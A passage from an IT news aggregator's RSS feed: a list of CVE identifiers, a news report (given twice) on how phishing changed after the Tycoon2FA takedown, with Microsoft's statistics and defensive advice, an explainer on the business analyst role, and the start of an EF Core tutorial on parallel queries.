CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893,
CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897,
CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901,
CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905,
CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910,
CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914,
CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918,
CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922,
CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926,
CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930,
CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934,
CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938,
CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942,
CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946,
CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950,
CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954,
CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958,
CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962,
CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966,
CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970,
CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974,
CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978,
CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982,
CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986,
CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990,
CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994,
CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998,
CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002,
CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006,
CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010,
CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014,
CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019,
CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023,
CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027,
CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036,
CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040,
CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044,
CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048,
CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052,
CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056,
CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060,
CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064,
CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068,
CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072,
CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076,
CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080,
CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093,
CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097,
CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101,
CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105,
CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109,
CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117,
CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121,
CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125,
CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129,
CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133,
CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137,
CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142,
CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146,
CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150,
CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154,
CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158,
CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162,
CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170,
CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174,
CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182,
CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Fri, 24 Jul 2026 12:33:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tycoon2FA takedown reshapes the phishing landscape]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</guid>
<pubDate>Fri, 24 Jul 2026 12:26:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



